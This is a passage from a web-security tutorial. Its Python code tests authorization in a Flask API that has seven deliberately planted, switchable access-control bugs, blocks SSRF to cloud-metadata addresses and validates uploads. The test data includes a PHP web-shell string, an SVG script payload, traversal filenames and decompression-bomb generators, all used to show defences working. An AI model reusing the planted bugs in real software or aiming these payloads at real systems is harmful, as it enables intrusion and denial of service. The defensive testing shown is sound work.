print("\nCSRF: would a state-changing request be accepted? (cookie rule, then server rule)")
for name, c in cases.items():
row = []
for samesite, defense in (("none", "none"), ("lax", "none"), ("lax", "token"), ("none", "token"), ("none", "origin")):
c2 = dict(c); c2["cookie_sent"] = browser_sends_cookie(c, samesite)
row.append(f"SameSite={samesite}+{defense}: {server(c2, defense)}")
print(" ", name); [print(" ", r) for r in row]
Authorization test matrix: a small Flask API with seven switchable bugs
Needs Flask. The X-User header stands in for real authentication and is for tests only.
"""An authorization test matrix for object-level access and tenant isolation.
A tiny Flask app (identity comes from a test header; never do that in production) with six bugs that can be switched on one at a time,
and a generated matrix of actors x actions x objects that is checked against an explicit policy."""
import itertools, json
from flask import Flask, request, jsonify, abort
USERS = { # id: (tenant, role)
"alice": ("T1", "member"), "bob": ("T1", "member"), "carol": ("T1", "admin"), "dave": ("T2", "member"), "erin": ("T2", "admin")}
INVOICES0 = {1: dict(owner="alice", tenant="T1", title="alice's"), 2: dict(owner="bob", tenant="T1", title="bob's"), 3: dict(owner="dave", tenant="T2", title="dave's")}
CUSTOMERS = {10: "T1", 11: "T2"}
EDITABLE = {"title"}
def make_app(bugs=()):
app = Flask(__name__); inv = {k: dict(v) for k, v in INVOICES0.items()}; users = {k: list(v) for k, v in USERS.items()}
def me():
u = request.headers.get("X-User")
if u not in users: abort(401)
return u, users[u][0], users[u][1]
def visible(uid, ten, role, i):
if "list_missing_tenant" in bugs: return i["owner"] == uid or role == "admin" # admins see every tenant
return i["tenant"] == ten and (i["owner"] == uid or role == "admin")
@app.get("/invoices")
def lst():
uid, ten, role = me(); return jsonify([k for k, i in inv.items() if visible(uid, ten, role, i)])
@app.get("/invoices/<int:n>")
def get(n):
uid, ten, role = me(); i = inv.get(n)
if not i: abort(404)
if "get_missing_owner" in bugs: ok = i["tenant"] == ten # any member of the tenant can read
else: ok = visible(uid, ten, role, i)
if not ok: abort(404)
return jsonify(i)
@app.patch("/invoices/<int:n>")
def patch(n):
uid, ten, role = me(); i = inv.get(n)
if not i or not visible(uid, ten, role, i): abort(404)
body = request.get_json()
for k, v in body.items():
if k in EDITABLE or "mass_assignment" in bugs: i[k] = v # the bug: copies owner, tenant... from the body
return jsonify(i)
@app.delete("/invoices/<int:n>")
def delete(n):
uid, ten, role = me(); i = inv.get(n)
if not i: abort(404)
ok = (i["owner"] == uid or role == "admin") if "delete_wrong_tenant" in bugs else visible(uid, ten, role, i)
if not ok: abort(404)
del inv[n]; return "", 204
@app.post("/invoices")
def create():
uid, ten, role = me(); b = request.get_json()
if "create_foreign_customer" not in bugs and CUSTOMERS.get(b["customer"]) != ten: abort(404) # the customer must be in my tenant
n = max(inv) + 1; inv[n] = dict(owner=uid, tenant=ten, title=b.get("title", ""), customer=b["customer"]); return jsonify(n), 201
@app.get("/admin/users")
def admin_users():
uid, ten, role = me()
if "admin_no_check" not in bugs and role != "admin": abort(403)
return jsonify([u for u, v in users.items() if v[0] == ten])
@app.post("/admin/users/<u>/role")
def set_role(u):
uid, ten, role = me()
if role != "admin": abort(403)
if "admin_other_tenant" not in bugs and (u not in users or users[u][0] != ten): abort(404) # an admin may only manage their own tenant
users[u][1] = request.get_json()["role"]; return "", 204
return app
def policy(actor, inv):
"""The explicit policy the tests check against: may `actor` read, change or delete invoice `inv`?"""
tenant, role = USERS[actor]
return tenant == inv["tenant"] and (inv["owner"] == actor or role == "admin")
def run_matrix(bugs=()):
failures = []; n = 0
def check(name, got, want_ok, cross_tenant=False):
nonlocal n; n += 1
ok_codes = {200, 201, 204}
if want_ok: good = got in ok_codes
elif cross_tenant: good = got == 404 # must not even reveal that the object exists
else: good = got in {403, 404}
if not good: failures.append(f"{name}: got {got}")
for actor, i in itertools.product(USERS, INVOICES0):
obj = INVOICES0[i]; cross = USERS[actor][0] != obj["tenant"]; want = policy(actor, obj)
for action in ("read", "update", "delete"):
c = make_app(bugs).test_client(); h = {"X-User": actor}
r = c.get(f"/invoices/{i}", headers=h) if action == "read" else c.patch(f"/invoices/{i}", json={"title": "x"}, headers=h) if action == "update" else c.delete(f"/invoices/{i}", headers=h)
check(f"{actor} {action} invoice {i}", r.status_code, want, cross)
for actor in USERS: # lists must contain exactly the invoices the policy allows
c = make_app(bugs).test_client(); got = set(c.get("/invoices", headers={"X-User": actor}).get_json()); n += 1
want = {i for i, o in INVOICES0.items() if policy(actor, o)}
if got != want: failures.append(f"{actor} list: got {sorted(got)}, want {sorted(want)}")
for action in ("read", "update", "delete", "list"): # anonymous users get 401 everywhere
c = make_app(bugs).test_client()
r = {"read": lambda: c.get("/invoices/1"), "update": lambda: c.patch("/invoices/1", json={}), "delete": lambda: c.delete("/invoices/1"), "list": lambda: c.get("/invoices")}[action]()
n += 1
if r.status_code != 401: failures.append(f"anonymous {action}: got {r.status_code}")
for actor, cust in itertools.product(USERS, CUSTOMERS): # create: only with a customer of my own tenant
c = make_app(bugs).test_client(); r = c.post("/invoices", json={"customer": cust, "title": "n"}, headers={"X-User": actor})
check(f"{actor} create with customer {cust} ({CUSTOMERS[cust]})", r.status_code, CUSTOMERS[cust] == USERS[actor][0], CUSTOMERS[cust] != USERS[actor][0])
for actor in USERS: # admin-only functions
c = make_app(bugs).test_client(); r = c.get("/admin/users", headers={"X-User": actor}); check(f"{actor} list users", r.status_code, USERS[actor][1] == "admin")
for actor, target in itertools.product(USERS, USERS):
c = make_app(bugs).test_client(); r = c.post(f"/admin/users/{target}/role", json={"role": "admin"}, headers={"X-User": actor})
same = USERS[actor][0] == USERS[target][0]; check(f"{actor} change role of {target}", r.status_code, USERS[actor][1] == "admin" and same, USERS[actor][1] == "admin" and not same)
c = make_app(bugs).test_client(); c.patch("/invoices/1", json={"title": "x", "owner": "bob", "tenant": "T2"}, headers={"X-User": "alice"}) # mass assignment
after = c.get("/invoices/1", headers={"X-User": "alice"}); n += 1
if after.status_code != 200 or after.get_json()["owner"] != "alice" or after.get_json()["tenant"] != "T1": failures.append("alice update with extra fields: owner or tenant was changed (mass assignment)")
return n, failures
if __name__ == "__main__":
n, f = run_matrix(); print(f"correct app: {n} checks, {len(f)} failures")
for bug in ("get_missing_owner", "list_missing_tenant", "mass_assignment", "delete_wrong_tenant", "create_foreign_customer", "admin_no_check", "admin_other_tenant"):
n, f = run_matrix((bug,)); print(f"bug {bug:<24}: {len(f):>2} of {n} checks fail, e.g. {f[0] if f else 'NOT DETECTED'}")
SSRF: checking the resolved address, DNS rebinding and redirects
Standard library only; the resolver and the HTTP layer are stubbed, so nothing touches the network.
"""Fetching a user-supplied URL without letting it reach the server's own network or the cloud metadata endpoint.
No network is used: the resolver and the HTTP layer are replaced by stubs so that DNS rebinding and redirects can be reproduced exactly."""
import ipaddress, socket, urllib.parse
class Blocked(Exception): pass
def is_public(addr):
ip = ipaddress.ip_address(addr)
if ip.version == 6 and ip.ipv4_mapped: ip = ip.ipv4_mapped # ::ffff:169.254.169.254 is the IPv4 address in disguise
return ip.is_global and not ip.is_multicast # not private, loopback, link-local (169.254/16, includes the metadata address), unique-local (fd00::/8), CGNAT...
def resolve(host, port, resolver=socket.getaddrinfo):
infos = resolver(host, port, type=socket.SOCK_STREAM)
addrs = sorted({i[4][0] for i in infos})
bad = [a for a in addrs if not is_public(a)]
if not addrs or bad: raise Blocked(f"{host} resolves to {', '.join(bad) or 'nothing'}")
return addrs[0] # connect to THIS address, not to the name again
def check_url(url, resolver=socket.getaddrinfo):
u = urllib.parse.urlsplit(url)
if u.scheme not in ("http", "https"): raise Blocked(f"scheme {u.scheme or '(none)'} not allowed")
if "@" in u.netloc or not u.hostname: raise Blocked("credentials or no host in the URL")
port = u.port or (443 if u.scheme == "https" else 80)
if port not in (80, 443): raise Blocked(f"port {port} not allowed")
return u, resolve(u.hostname, port, resolver), port
def safe_fetch(url, resolver, http_get, max_redirects=3):
"""http_get(ip, host, port, path) -> (status, location). Every redirect target goes through the same checks."""
for _ in range(max_redirects + 1):
u, ip, port = check_url(url, resolver)
status, location = http_get(ip, u.hostname, port, u.path or "/")
if status in (301, 302, 303, 307, 308) and location: url = urllib.parse.urljoin(url, location); continue
return status, ip
raise Blocked("too many redirects")
if __name__ == "__main__":
PUBLIC = {"example.org": ["93.184.216.34"], "files.example.org": ["93.184.216.34"], "evil.example": ["169.254.169.254"], "internal.corp": ["10.0.0.5"]}
def stub(host, port, type=0):
if host in PUBLIC: return [(2, 1, 6, "", (a, port)) for a in PUBLIC[host]]
return socket.getaddrinfo(host, port, type=type) # literal IPs, 'localhost' and odd spellings go through the real parser
urls = [
"https://example.org/report.pdf",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://[fd00:ec2::254]/latest/meta-data/",
"http://[::ffff:169.254.169.254]/",
"http://2852039166/", "http://0xa9.0xfe.0xa9.0xfe/", "http://169.254.169.254.nip.invalid/",
"http://localhost/admin", "http://127.1/", "http://0.0.0.0/", "http://[::1]/", "http://10.0.0.5/", "http://100.64.0.1/",
"http://evil.example/", "http://internal.corp/", "http://example.org@169.254.169.254/", "http://example.org:6379/", "file:///etc/passwd", "gopher://example.org/_x",
]
print("check_url:")
for url in urls:
try: _, ip, _ = check_url(url, stub); print(f" allowed {url:<62} -> {ip}")
except (Blocked, socket.gaierror) as e: print(f" BLOCKED {url:<62} {e}")
# DNS rebinding: a name that answers with a public address the first time and the metadata address the second time
answers = iter([["93.184.216.34"], ["169.254.169.254"]])
def rebinding(host, port, type=0): return [(2, 1, 6, "", (a, port)) for a in next(answers)]
first = rebinding("rebind.example", 80)[0][4][0]; second = rebinding("rebind.example", 80)[0][4][0]
print(f"\nDNS rebinding: check resolves to {first} (public, so the URL looks fine); a client that resolves the name again to connect gets {second}")
answers = iter([["93.184.216.34"], ["169.254.169.254"]])
_, ip, _ = check_url("http://rebind.example/", rebinding); print(f" safe version connects to the address it checked: {ip}")
# a redirect from a harmless host to the metadata address
web = {("93.184.216.34", "example.org"): (302, "http://169.254.169.254/latest/meta-data/")}
def http_get(ip, host, port, path): return web.get((ip, host), (200, None))
try: safe_fetch("http://example.org/start", stub, http_get)
except Blocked as e: print(f"redirect to the metadata address: BLOCKED ({e})")
print("redirect to another public host:", safe_fetch("http://example.org/start", stub, lambda ip, h, p, path: (302, "https://files.example.org/x") if h == "example.org" else (200, None)))
Uploads: allowlist, sniffing, pixel limits, re-encoding and archive limits
Needs Pillow for the re-encoding step.
"""Safe processing of uploaded images: size, allowlist, content sniffing, pixel limits, re-encoding, generated names, archive limits."""
import io, os, struct, uuid, zipfile, zlib
from PIL import Image
MAX_BYTES, MAX_PIXELS = 2_000_000, 25_000_000
MAGIC = {"png": b"\x89PNG\r\n\x1a\n", "jpeg": b"\xff\xd8\xff", "gif": b"GIF8"}
EXT_TO_KIND = {".png": "png", ".jpg": "jpeg", ".jpeg": "jpeg", ".gif": "gif"} # an allowlist: everything else (.svg, .html, .php, .pdf...) is refused
def sniff(data):
return next((k for k, m in MAGIC.items() if data.startswith(m)), None)
def png_size(data): # read the header only: never decode before checking
return struct.unpack(">II", data[16:24]) if data[12:16] == b"IHDR" else None
def process_upload(filename, data):
"""Returns (stored_name, clean_bytes) or raises ValueError with the reason. `filename` is only ever used to pick an extension to compare."""
if len(data) > MAX_BYTES: raise ValueError("too large")
ext = os.path.splitext(filename.replace("\x00", ""))[1].lower() # only the last extension counts
if ext not in EXT_TO_KIND: raise ValueError(f"type {ext or '(none)'} not allowed")
kind = sniff(data)
if kind != EXT_TO_KIND[ext]: raise ValueError(f"content is {kind or 'not an image'}, name says {EXT_TO_KIND[ext]}")
if kind == "png":
w, h = png_size(data) or (0, 0)
if w * h > MAX_PIXELS: raise ValueError(f"{w}x{h} = {w*h/1e6:.0f} megapixels, over the limit")
img = Image.open(io.BytesIO(data)); img.load() # decode (Pillow also refuses decompression bombs)
out = io.BytesIO(); img.convert("RGB").save(out, "PNG"); clean = out.getvalue() # re-encode: a new file with pixels only, no metadata, no trailing bytes
return f"{uuid.uuid4().hex}.png", clean # a generated name, never the client's
def png_bomb(side=20_000):
def chunk(t, d): return struct.pack(">I", len(d)) + t + d + struct.pack(">I", zlib.crc32(t + d))
z = zlib.compressobj(9); idat = bytearray(); row = b"\x00" * (side + 1)
for _ in range(side): idat += z.compress(row)
idat += z.flush()
return b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", struct.pack(">IIBBBBB", side, side, 8, 0, 0, 0, 0)) + chunk(b"IDAT", bytes(idat)) + chunk(b"IEND", b"")
def check_zip(data, max_total=50_000_000, max_ratio=100):
"""If you must accept archives: limit the declared sizes, the ratio, and the bytes actually produced (headers can lie)."""
with zipfile.ZipFile(io.BytesIO(data)) as z:
infos = z.infolist()
if sum(i.file_size for i in infos) > max_total: raise ValueError("declared size too large")
if sum(i.file_size for i in infos) / max(1, sum(i.compress_size for i in infos)) > max_ratio: raise ValueError("compression ratio suspicious")
produced = 0
for i in infos:
with z.open(i) as f:
while chunk := f.read(65536):
produced += len(chunk)
if produced > max_total: raise ValueError("more data than declared")
return produced
def png(size=(120, 80), color=(200, 30, 30)):
b = io.BytesIO(); Image.new("RGB", size, color).save(b, "PNG"); return b.getvalue()
if __name__ == "__main__":
good = png()
exif = Image.Exif(); exif[0x010E] = "taken at a secret place"
jb = io.BytesIO(); Image.new("RGB", (50, 50)).save(jb, "JPEG", exif=exif); jpeg_with_exif = jb.getvalue()
bomb = png_bomb()
cases = [
("photo.png", good), ("shell.php", b"<?php system($_GET[0]); ?>"), ("shell.png", b"<?php system($_GET[0]); ?>"),
("evil.svg", b"<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'/>"), ("a.jpg", good), ("big.png", good + b"0" * 3_000_000),
("polyglot.png", good + b"<?php system($_GET[0]); ?>"), ("camera.jpg", jpeg_with_exif), ("flood.png", bomb),
("../../etc/cron.d/x.png", good), ("x.png\x00.php", good), ("shell.php.png", good),
]
print(f"{'upload':<24} {'result'}")
for name, data in cases:
try:
stored, clean = process_upload(name, data)
note = f"stored as {stored[:8]}….png, {len(data):,} -> {len(clean):,} bytes"
if b"<?php" in data: note += f"; payload bytes in the stored file: {b'<?php' in clean}"
if name == "camera.jpg": note += f"; EXIF in the stored file: {bool(Image.open(io.BytesIO(clean)).getexif())} (it was {bool(Image.open(io.BytesIO(data)).getexif())})"
print(f"{name!r:<24} ACCEPTED {note}")
except ValueError as e:
print(f"{name!r:<24} refused: {e}")
print(f"\nthe pixel-flood PNG is {len(bomb):,} bytes and claims 20,000 x 20,000 pixels")
zb = io.BytesIO()
with zipfile.ZipFile(zb, "w", zipfile.ZIP_DEFLATED) as z: z.writestr("zeros.bin", b"\x00" * 200_000_000)
print(f"a zip of {len(zb.getvalue()):,} bytes expands to 200,000,000 bytes (ratio {200_000_000 // len(zb.getvalue())}:1)")
try: check_zip(zb.getvalue())
except ValueError as e: print("check_zip:", e)
ok = io.BytesIO()
with zipfile.ZipFile(ok, "w", zipfile.ZIP_DEFLATED) as z: z.writestr("notes.txt", b"hello world " * 50)
print("a normal zip:", check_zip(ok.getvalue()), "bytes produced, accepted")
The regression tests, as they would run in CI
Save the three files above in one folder next to this one and run python3 -m unittest -v test_security.
"""Security regression tests that run on every change: python3 -m unittest -v test_security
Put them in the same suite as the other tests, so a failing authorization check blocks the merge like any other failure."""
import io, socket, unittest
from PIL import Image
import authz_matrix, ssrf, uploads
ALL_BUGS = ("get_missing_owner", "list_missing_tenant", "mass_assignment", "delete_wrong_tenant", "create_foreign_customer", "admin_no_check", "admin_other_tenant")
# every route must be listed here, with the matrix check that covers it: adding a route without adding a check fails the build
COVERED = {"/invoices": "list + create", "/invoices/<int:n>": "read, update, delete", "/admin/users": "admin function", "/admin/users/<u>/role": "admin function"}
class Authorization(unittest.TestCase):
def test_matrix_passes(self):
n, failures = authz_matrix.run_matrix(); self.assertEqual(failures, [], f"{len(failures)} of {n} checks failed")
def test_matrix_catches_each_known_bug(self): # a test of the tests: if a bug goes undetected the matrix has a gap
for bug in ALL_BUGS:
with self.subTest(bug=bug): self.assertTrue(authz_matrix.run_matrix((bug,))[1], f"{bug} was not detected")
def test_every_route_has_a_check(self):
rules = {r.rule for r in authz_matrix.make_app().url_map.iter_rules() if r.endpoint != "static"}
self.assertEqual(rules - set(COVERED), set(), "route without an authorization check in the matrix")
class Ssrf(unittest.TestCase):
def test_blocked_targets(self):
for url in ("http://169.254.169.254/latest/meta-data/", "http://[::ffff:169.254.169.254]/", "http://2852039166/", "http://127.1/", "http://[fd00:ec2::254]/", "file:///etc/passwd", "http://a@169.254.169.254/"):
with self.subTest(url=url), self.assertRaises(ssrf.Blocked): ssrf.check_url(url)
def test_public_target_is_allowed(self):
stub = lambda host, port, type=0: [(2, 1, 6, "", ("93.184.216.34", port))]
self.assertEqual(ssrf.check_url("https://example.org/x", stub)[1], "93.184.216.34")
def test_redirect_to_metadata_is_blocked(self):
stub = lambda host, port, type=0: [(2, 1, 6, "", ("169.254.169.254" if host.startswith("169") else "93.184.216.34", port))]
with self.assertRaises(ssrf.Blocked): ssrf.safe_fetch("http://example.org/", stub, lambda ip, h, p, path: (302, "http://169.254.169.254/"))
class Uploads(unittest.TestCase):
good = uploads.png()
def test_disguised_script_is_refused(self):
with self.assertRaises(ValueError): uploads.process_upload("shell.png", b"<?php system($_GET[0]); ?>")
def test_polyglot_payload_is_removed(self):
_, clean = uploads.process_upload("p.png", self.good + b"<?php system($_GET[0]); ?>"); self.assertNotIn(b"<?php", clean)
def test_client_name_never_used(self):
stored, _ = uploads.process_upload("../../etc/x.png", self.good); self.assertRegex(stored, r"^[0-9a-f]{32}\.png$")
def test_pixel_flood_refused_before_decoding(self):
with self.assertRaises(ValueError): uploads.process_upload("f.png", uploads.png_bomb(8_000)) # 64 megapixels in about 70 KB
def test_svg_refused(self):
with self.assertRaises(ValueError): uploads.process_upload("a.svg", b"<svg onload='x()'/>")
if __name__ == "__main__":
unittest.main()
Sources
- OWASP, Top 10 Web Application Security Risks, and the Cheat Sheet Series (SQL Injection Prevention, Cross Site Scripting Prevention, Cross-Site Request Forgery Prevention, Authorization, Server-Side Request Forgery Prevention, Secrets Management, Deserialization).
- OWASP, Application Security Verification Standard (ASVS) for a checklist to test against.
- MDN, Content Security Policy, Set-Cookie and SameSite, and Web security.
- Adam Shostack, Threat Modeling: Designing for Security (Wiley, 2014), for STRIDE.
- Python documentation, the security warning for
pickleandsqlite3placeholders. - Git documentation on
git log -Sand GitHub's guide to removing sensitive data from a repository. - CERT/CC and vendor advisories on Log4Shell (CVE-2021-44228) as a supply-chain case study.
- OWASP Cheat Sheet Series: Server-Side Request Forgery Prevention, File Upload and Authorization Testing.
- AWS documentation, Use IMDSv2; Google Cloud, About VM metadata; Microsoft, Azure Instance Metadata Service.
- Python documentation,
ipaddress(is_global); Pillow documentation, decompression bomb protection.
Practise this topic: Security